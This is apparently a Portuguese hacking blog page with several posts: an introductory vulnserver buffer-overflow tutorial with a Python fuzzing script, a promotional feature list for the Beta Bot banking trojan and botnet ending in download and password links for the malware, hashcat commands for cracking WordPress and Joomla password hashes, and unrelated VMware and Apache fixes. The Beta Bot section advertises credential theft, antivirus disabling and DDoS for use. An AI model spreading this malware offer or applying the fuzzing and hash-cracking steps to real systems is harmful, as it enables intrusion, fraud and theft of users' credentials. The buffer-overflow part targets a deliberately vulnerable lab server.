quinta-feira, 22 de janeiro de 2015

Buffer Overflow | Devenlop Exploit - Intro

Tomando  controle de programas vulneráveis a buffer overflow e desenvolvendo um exploit

INTRO
Uma falha de segurança comumente encontrada em software é a vulnerabilidade a buffer overflow.
Apesar de ser uma falha bem-conhecida e bastante séria, que se origina exclusivamente na incompetência do programador durante a implementação do programa, o erro repete-se sistematicamente a cada nova versão ou produto liberados.
Alguns programas já são famosos por freqüentemente apresentarem a falha, como o Sendmail, módulos do Apache, e boa parte dos produtos da Microsoft, incluindo obviamente o infame Internet Information Services (IIS). Mesmo software considerado seguro, como o OpenSSH, já apresentou o problema.

PROPÓSITO
Saber como explorar uma vulnerabilidade de buffer overflow (estouro de buffer) simples para ganhar a execução remota no Windows.

VAMOS ULTILIZAR ESSAS FERRAMENTAS;
--     Script básico em Python
--     Immunity Debugger
--     O plugin MONA para Immunity
--     Metasploit Framework
--     nasm_shell.rb

O que vamos usar;
--    Windows como ALVO
--    Kali Linux como Atacante

PREPARANDO O SERVIDOR VULNERÁVEL
Em sua máquina Windows, baixe o servidor para os testes. Link
Salve o arquivo "vulnserver.zip" em sua desktop, e extraia com um winrar ou unzip.  Agora execulte o vulnserver, quando o firewall chama, você desbloqueia, okay


Testando o servidor
Na máquina atacante, abra o terminal e execulte o comando:
Subistitua o IP  pelo endereço IP da sua máquina Windows

root@kali:~# nc 192.168.1.162 9999
Welcome to Vulnerable Server! Enter HELP for help.
||
"O cursor ira fica piscando aqui, aguardando um instrução" Digite HELP;

Você verá Varios comandos, Mais nenhum deles faz alguma coisa útil 

root@kali:~# nc 192.168.1.162 9999
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT

Este servidor tem muitas vulnerabilidades, mas o que vou usar agora é o comando TRUN.
Agora vamos digitar o comando TRUN .aaa, o Servidor respondera "TRUN
COMPLETE", Depois execulte o comando "EXIT" para fechar a conexão.

root@kali:~# nc 192.168.1.162 9999
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
TRUN .aaa
TRUN COMPLETE
EXIT
GOODBYE
root@kali:~#

Fuzzing o Servidor
Agora vamos iniciar a criação dos scripts, no terminal do kali digite:

root@kali:~# nano fuzz
E cole esse codigo:

#!/usr/bin/python
import socket
server = '192.168.1.162' #Subistitua o IP  pelo endereço IP da sua máquina Windows
sport = 9999

length = int(raw_input('Length of attack: '))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack length ", length, ' to TRUN .'
attack = 'A' * length
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
GNU nano 2.2.6                                                               File: fuzz                                                                Modified  

#!/usr/bin/python
import socket
server = '192.168.1.162' #Subistitua o IP  pelo endereço IP da sua máquina Windows
sport = 9999

length = int(raw_input('Length of attack: '))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack length ", length, ' to TRUN .'
attack = 'A' * length
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ...

Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Agora vamos execultar o Script, comando:

root@kali:~# python fuzz

Em "Length of Attack" insira 100 bytes e pressione Enter,

O servidor responde  "TRUN COMPLETE"

root@kali:~# python fuzz
Length of attack: 100
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack length  100  to TRUN .
TRUN COMPLETE

GOODBYE

root@kali:~#

Execute o script mais uma vez, mas desta vez insisra  um comprimento de 9000.
Não há nenhuma resposta, tal como mostrado abaixo.

root@kali:~# python fuzz
Length of attack: 9000
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack length  9000  to TRUN

Olhando para o windows, vemos que o servidor parou de responder


Reiniciando o servidor vulnerável

No seu Windows, feche o "vulnserver.exe que parou de funcionar"
Clique duas vezes em vulnserver para iniciar o servidor novamente.
Tente outros comprimentos. Você verá que ele trava em 2000 e 3000.
Cada vez deixa de funcionar, reinicie o servidor.

Instalando o Immunity Debugger

Parte 2 aqui






















Read More
Vou falar um sobre Botnets em especial a Beta bot

O que é beta bot?

O cavalo de tróia beta bot surgiu no primeiro semestre de 2013, mas ressurgiu dentre as ameaças de malware mais recentes, de acordo com o Internet Crime Complaint Center (IC3) do FBI. Esse cavalo de tróia infecta computadores e tentativas de impedir que os usuários acessem sites de segurança, ao mesmo tempo desativando seu software antivírus e de verificação de malware. Para conseguir isso, o bot cria uma caixa de mensagem falsa do Microsoft Windows com o título "Controle de Conta do Usuário". Ele pede que o usuário permita que o "Processador de Comandos do Windows" faça alterações de nível de administrador, e afirma que é verificado pela Microsoft. Se as alterações forem aprovadas, o beta bot modifica o computador do usuário para roubar credenciais de login e dados financeiros, além de desativar o acesso do software de segurança.
Fonte: http://brazil.kaspersky.com/internet-security-center/definitions/beta-bot

Também usado para atques de DDoS


Sobre Betabot

Formulário Grabber
Quando os sites indicados são detectados, Betabot vai puxar todos os formulários pertinentes à medida que são enviados, e detalhes de exportação para o painel principal. Para que o formulário Grabber trabalhe, você deve especificar filtros no painel. Ao criar filtros, o uso de caracteres especiais (*) são suportados. FireFox (Normal e SSL), Internet Explorer (Normal e SSL), Google Chrome (Normal e SSL)

x86/64 Kit de Usuário
Rootkit Userland para sistemas de 32 bits e de 64 bits permite para que o bot  permanecer intocável para outros bots e interferência de usuário básico. Técnica inovadora para interceptar chamadas de sistema em sistemas x86 permite uma melhor compatibilidade com outros bots. Todos os hook feitos será restaurada se retirado e geral remove hook terceiro partido em bases de serviços sensíveis NT.

AntiVirus Disabler
O uso de vários métodos de remoção de métodos, Betabot é capaz de remover ou desativar mais de 30 diferentes Anti Vírus no usuário. No Vista e 7, a elevação é necessária para que esta função funcione corretamente. Para ajudar a alcançar o máximo de eficiência, uma tática de engenharia  social (escrito em 12 idiomas) é usada para enganar o usuário a elevar o processo de bot. Este método provou ser cerca de 70% - 80% eficaz na tentativa de elevar privilégios.

     Ahnlab v3 Lite (somente XP)
     ArcaVir
     Avast!
     AVG
     Avira
     BitDefender (On configuração mínima)
     BKAV
     BullGuard
     Emsisoft Anti-Malware
     ESET NOD32 / Smart Security
     F-Prot
     F-Secure IS
     GData IS
     Ikarus AV
     K7 AntiVirus
     Kaspersky AV / IS (apenas versões mais antigas)
     Lavasoft Adaware AV
     Malwarebytes Anti-Malware
     McAfee
     Microsoft Security Essentials
     Norman AntiVirus
     Norton AntiVirus (somente Vista +)
     Outpost Firewall Pro
     Panda AV / IS
     Panda Cloud AV (versão Free)
     PC Tools AntiVirus
     AV Nascente / IS
     Sophos Endpoint Antivirus
     total Defense
     Trend Micro
     Vipre
     Webroot SecureAnywhere AV
     Windows Defender
     O ZoneAlarm é
    
    
Anti-Malware (Botkiller)
Complexo componente anti-malware baseado em heurística permite a remoção completa não só de grande malwares comum / utilizado em empreendimentos PPI e muito mais. Itens suspeitos de inicialização automática, arquivos, processos e código injetado será removido / desabilitado quando possível. Opções especiais para direcionar mineiros BTC / LTC está disponível.

DNS Blocker / Redirect
O modificador de nome de domínio permite que domínios a serem forçados a resolver a qualquer IP fornecido, ou flat out bloqueado. Todos os navegadores / aplicativos de desktop populares suportados.

FTP Live / grabber POP3
Dados de interceptação de rede permite FTP e POP3 logins através de conexões não-SSL para ser interceptadas e gravadas em tempo real. Além disso, logins de SSH feitas a partir do cliente PuTTY são registrados e relatados ao servidor.

Arquivo de Pesquisa
Capacidade para pesquisar todos os arquivos em discos rígidos locais para determinados termos ou arquivos com determinadas extensões de nomes /. Além disso, os diretórios podem ser excluídos da pesquisa. Arquivos correspondentes parâmetros da pesquisa serão enviados para o servidor C2.

Modo de Defesa pró-activa
Modo especial de auto-defesa que pode ser ligado e desligado. Quando ligado, este irá bloquear métodos mais conhecidos de injeção de código e outras atividades relacionadas com o malware para garantir que apenas betabot está no controle.

Geral defesa bot
Usando uma miríade de diferentes conceitos, betabot se protege da remoção / adulteração. Áreas de proteção incluem processo, início automático e proteção de arquivos. Betabot é altamente resistente a injeção de código, remoção de arquivos e desengate.

Recursos adicionais:

-> Tamanho do Arquivo <150kb
-> Config Editor para editar constrói - Alterar nomes de grupo-Bloquear a instalação de alguns Bootkit bootkits (Principalmente Rovnix (Carberp)). Pode ser ativado / desativado a partir do painel.
-> Suporte ao Servidor multi para até 16 servidores diferentes. Diferentes configurações são possíveis para cada servidor individual.
-> Quatro métodos DDoS diferentes. Várias configurações para mudar. Usa informação local para tentar embaralhar cabeçalhos HTTP em Inundações.
-> UDP
-> Rápida Ligar / Desligar
-> HTTP GET
-> Slowloris
-> Experimental Ruskill - Usando um ativo Sandbox-like, Betabot tentará seqüestrar programas especificados e reverter todas as alterações feitas por eles após a corrida. Este recurso está atualmente em desenvolvimento e pode não funcionar em alguns bots.
-> Autorun USB - Quando ativado, Betabot irá adicionar-se a qualquer unidade USB inserido na máquina, utilizando técnicas de swap LNK-arquivo.
-> Servidor SOCKS4 - Transforme seus bots em proxies Socks4 dedicados. Você pode definir a porta, bem como a duração. Suporta UPnP.
-> Colheitas FTP Stealer viver logins FTP como eles acontecem em tempo real.
-> Anti Virus Checker permite que você digite o seu Scan4You informações da conta no painel e faz uso da API S4Y para digitalização rápida e fácil, direto do seu próprio painel.
-> Vários Rudimentary Antis Para ajudar a manter a integridade da Beta Bot e proteger vários pedaços de código vital, Beta Bot faz uso de depuração anti múltipla e métodos anti-dumping.
-> Baixar / atualizar / desinstalar / etc - Comandos básicos esperados de todos os bots. Suporta DLLs e arquivos JAR.
-> Contas de usuário adicionais - Capacidade de criar contas de usuário adicionais para acessar o seu painel. Totalmente personalizável níveis de acesso.
-> Opções avançadas de busca para localizar bots específicas rápida e facilmente.
Fonte: Trojanbotnet

Images:
Build Sever
Panel GeoIP
Panel Bot Online
Panel General
 Information Bot
 Tasks
Video Tutorial

Download Beta Bot 1.7.0.1 Aqui
Download Password: Aqui
Read More

Luta Contra os Hackers


Luta Contra Os Hackers

    Documentário / Diversos
    Nome Original:  Defeating The Hackers
    Direção:  Kate Dart
    Elenco:  Eric Chien, Mat Honan, Barnaby Jack, Patrick Lincoln
    Ano: 2014
    Cor:  Colorido
    Classificação:  Programa permitido para menores acompanhados dos pais

Grande parte da forma como vivemos hoje se tornou digital. Nossas fotos, e-mails, nossas compras, serviços bancários e até namoros são feitos por arquivos digitais e online. Mas todos estes dados são valiosos, e são justamente o que os hackers querem! Nossa única defesa é um novo tipo de força armada: as mentes mais inteligentes do mundo. Vamos ver como a matemática simples está sendo usada para manter nossos dados bancários seguros, como senhas estão sendo implantadas inconscientemente em nossos cérebros, e a física está sendo aproveitada para construir um novo tipo de computador. Tudo isso, para tentar ficar um passo à frente dos hackers.

Assistir


Luta Contra os Hackers from Mathew on Vimeo.
Read More

Cracking Wordpress Password Hashes with Hashcat

Olá pessoal, vou ta mostrando como quebrar senhas de wordpress, com o hashcat.
Primeiro eu fiz alguns usuários de teste na página de administração do Wordpress:
 Depois fui até o phpmyadmin para pegar os hashes no banco de dados:
Salvei os Hashes em um bloco de notas na area de trabalho:
 Também tenho um Dicionário com 1802885 senhas salvas:
Agora executei o comando para quebrar os hashes:
COMANDO: " hashcat -m 400 -a 0 -o saída_senhas --remove lista_senha_worpress.txt  dicionário.txt "

Resultado dos Hashes Quebrados salvos na area de trabalho:
Vizualizar:

Wordlist: Download
Wordlist2: Download



Read More

Cracking Joomla Hashes

Olá pessoal, Vou tá mostrando como quebra senhas hash do Joomla.
Eu usei o painel de administração do Joomla para criar alguns usuários de teste:
Depois fui até o phpmyadmin para pegar os hashes no banco de dados:
Salvei os Hashes em um bloco de notas na area de trabalho:
Também tenho um Dicionário com 1802885 senhas salvas:
 Agora executei o comando para quebrar os hashes:
COMANDO: hashcat -m 10 -a 0 -o output_joomla --remove pass_joomla word-dict.list


 Vizualizar:
Wordlist: Download
Wordlist2: Download

Read More

ERRO VMWARE /tmp/vmware-root/vmware-modconfig-

Olá Pessoal.

Devido as atualização  do Kenel tanto no Ubuntu 14.04 alpha quanto no Linux kali 3.14-kali1 exigirá recompilar os módulos para VMwar, apos instalação apresentara um erro na inicialização da VM, como mostra a baixo:
O exemplo que irei mostra foi corrigido no Kali Linux
# lsb_release -a
No LSB modules are available.
Distributor ID:    Debian
Description:    Debian GNU/Linux Kali Linux 1.0.9
Release:    Kali Linux 1.0.9
Codename:    n/a  
# uname -a
Linux kali 3.14-kali1-amd64 #1 SMP Debian 3.14.5-1kali1 (2014-06-07) x86_64 GNU/Linux
# vmplayer --version
VMware Player 5.0.3 build-1410761
Para para podemos corrigir isso, precisaremos aplicar este patch para o filter.c na fonte do módulo da VMware Player.
# nano /tmp/filter.c.diff
205a206
> #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 13, 0)
206a208,210
> #else
> VNetFilterHookFn(const struct nf_hook_ops *ops,        // IN:
> #endif
255c259,263
<    transmit = (hooknum == VMW_NF_INET_POST_ROUTING);
---
>    #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 13, 0)
>       transmit = (hooknum == VMW_NF_INET_POST_ROUTING);
>    #else
>       transmit = (ops->hooknum == VMW_NF_INET_POST_ROUTING);
>    #endif
Proximo passo será aplicar p patch para o filter.c em vmnet.tar
# sudo -E -s
# cd /usr/lib/vmware/modules/source/ 
# cp vmnet.tar vmnet.tar.original
# tar xvf vmnet.tar vmnet-only/filter.c
vmnet-only/filter.c
# patch vmnet-only/filter.c < /tmp/filter.c.diff
patching file vmnet-only/filter.c
# tar -uvf vmnet.tar vmnet-only/filter.c
vmnet-only/filter.c
# rm -rf vmnet-only/
Agora tudo está pronto, reinicie seu host, em seguida execulte sua VMware q ira re-compilar os módulos da VMware, agora com sucesso

Read More

apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName on Kali


 Olá pessoal,
Acho que vocês já se depararam como uma mensagem  de erro ao iniciar o apache

ERROR
* Starting web server apache2
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName

Então vamos iniciar a correção, é bem simples:
Abra o Terminal e digite:
sudo sh -c 'echo "ServerName localhost" >> /etc/apache2/conf.d/name' && sudo service apache2 restart







Read More